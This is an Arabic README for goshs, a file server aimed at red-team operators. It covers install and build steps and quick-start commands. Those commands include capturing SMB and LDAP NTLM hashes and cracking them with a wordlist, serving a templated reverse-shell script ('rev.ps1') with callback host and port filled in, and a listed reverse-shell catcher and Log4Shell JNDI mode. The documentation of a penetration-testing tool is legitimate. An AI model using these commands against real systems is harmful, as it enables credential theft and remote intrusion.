
goshs v2.1.5
خادم ملفات غني بالميزات في ملف ثنائي واحد لمختصي الفريق الأحمر والمطورين. HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks · TLS · Auth · Share links. بديل قوي لأمر python3 -m http.server.
أنت في منتصف مهمة. تحتاج إلى نقل ملف، أو التقاط تجزئة SMB، أو تشغيل خادم HTTPS سريع — و python3 -m http.server لن يفي بالغرض.
goshs هو خادم ملفات بملف ثنائي واحد مصمم للحظات التي تحتاج فيها إلى أكثر من SimpleHTTPServer الخاص بـ Python ولكنك لا تريد تكوين Apache. HTTP/S، WebDAV، FTP/SFTP، SMB، LDAP/S، مصادقة أساسية، روابط مشاركة، استدعاءات DNS/SMTP، التقاط تجزئات NTLM + كسرها — كل ذلك من أمر واحد.


عرض تجريبي
جرّبه بنفسك: demo.goshs.de

بدء سريع
# خدمة الدليل الحالي على المنفذ 8000
goshs
# الخدمة مع HTTPS (شهادة ذاتية التوقيع) ومصادقة أساسية
goshs -s -ss -b user:password
# التقاط تجزئات SMB
goshs -smb -smb-domain CORP
# التقاط بيانات اعتماد LDAP وتجزئات NTLM (مع كسر اختياري باستخدام قائمة كلمات)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# التقاط استدعاءات DNS واستقبال رسائل البريد الإلكتروني
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# تدمير ذاتي بعد ساعتين
goshs --ttl 2h
# التشغيل مع لوحة تحكم طرفية تفاعلية (ممتازة لجلسات SSH بدون واجهة رسومية)
goshs --tui
# خدمة حمولات تملأ تلقائيًا مضيف/منفذ الاستدعاء الخاص بك عند التنزيل
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# جلب النسخة المعروضة: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
التوثيق
للحصول على توثيق مفصل تفضل بزيارة docs.goshs.de
الميزات
| 📁 عمليات الملفات | تنزيل (قابل للاستئناف والبحث عبر HTTP Range)، رفع (سحب وإفلات، POST/PUT)، حذف، ZIP مجمّع، رموز QR |
| 🔌 البروتوكولات | HTTP/S، WebDAV، FTP/SFTP، SMB، LDAP/S |
| 🔒 المصادقة والأمان | مصادقة أساسية، مصادقة شهادات، TLS (شهادة ذاتية التوقيع، Let's Encrypt، شهادة مخصصة)، قائمة IP البيضاء، قوائم تحكم بالوصول قائمة على الملفات |
| ⚙️ أوضاع الخادم | للقراءة فقط، للرفع فقط، بدون حذف، صامت، غير مرئي، تنفيذ أوامر CLI، تدمير ذاتي TTL |
| 🔗 روابط المشاركة | مشاركة قائمة على الرموز، حد التنزيل، حد زمني |
| 🎯 التعاون / CTF | دردشة فريق مباشرة (ماركداون، رموز تعبيرية + اقتراح تلقائي لـ :shortcodes:، لصق الصور، رفع الملفات، ردود الفعل، تحرير الرسائل، حفظ اختياري على القرص — مشتركة بين الويب ↔ TUI)، خادم DNS، خادم SMTP، التقاط تجزئات SMB NTLM + كسرها، التقاط بيانات اعتماد LDAP + كسر تجزئات NTLM (وضع JNDI لـ Log4Shell)، نقطة إعادة توجيه، ملتقط قذائف عكسية + مولّد حمولات |
| 🧩 قوالب الحمولات | عرض قيم {{.LHOST}}/{{.LPORT}} + قيم --tpl-var المخصصة في الملفات المخدومة عند الطلب (?tpl) |
| 🔔 التكامل | Webhooks، نفق عبر localhost.run، ملف إعدادات، واجهة برمجة تطبيقات JSON، mDNS |
| 🖥️ لوحة تحكم TUI | لوحة تحكم طرفية تفاعلية بملء الشاشة؛ لوحات مباشرة لـ HTTP وDNS وSMB وLDAP وSMTP والقذائف العكسية ودردشة الفريق؛ إرفاق وترقية القذائف من الطرفية |
| 🛠️ متنوع | سمات داكنة/فاتحة، دردشة فريق، تحديث ذاتي، إخراج سجلات، تضمين ملفات، خفض الامتيازات |
التثبيت
| الطريقة | |
|---|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali و Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 الإصدار | تنزيل من إصدارات GitHub |
🐚 إكمال القشرة
يمكن لـ goshs تثبيت إكمال التبويب لـ bash وfish وzsh:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
على macOS مع Homebrew يتم استخدام مسار Homebrew الصحيح تلقائيًا. بعد التثبيت يطبع الأمر تعليمات تفعيل دقيقة، على سبيل المثال:
source ~/.local/share/bash-completion/completions/goshs
🔧 البناء بنفسك
أصول الويب المرفقة ملتزمة، لذا فإن البناء البسيط يعمل فقط:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
إذا قمت بتغيير مصادر JavaScript أو SCSS، أعد بناء الأصول أولاً مع تثبيت esbuild و sass:
make generate
go build -o goshs .
مساهمو الكود
مساهمو الأمان
هؤلاء هم المساهمون الرائعون الذين جعلوا goshs أكثر أمانًا ❤️
المجتمع
انضم إلى مجتمع Discord وابدأ التواصل.
سجل النجوم
الاعتمادات
شكر خاص يذهب إلى sc0tfree لإلهامه هذا المشروع بمشروعه updog المكتوب بلغة Python.















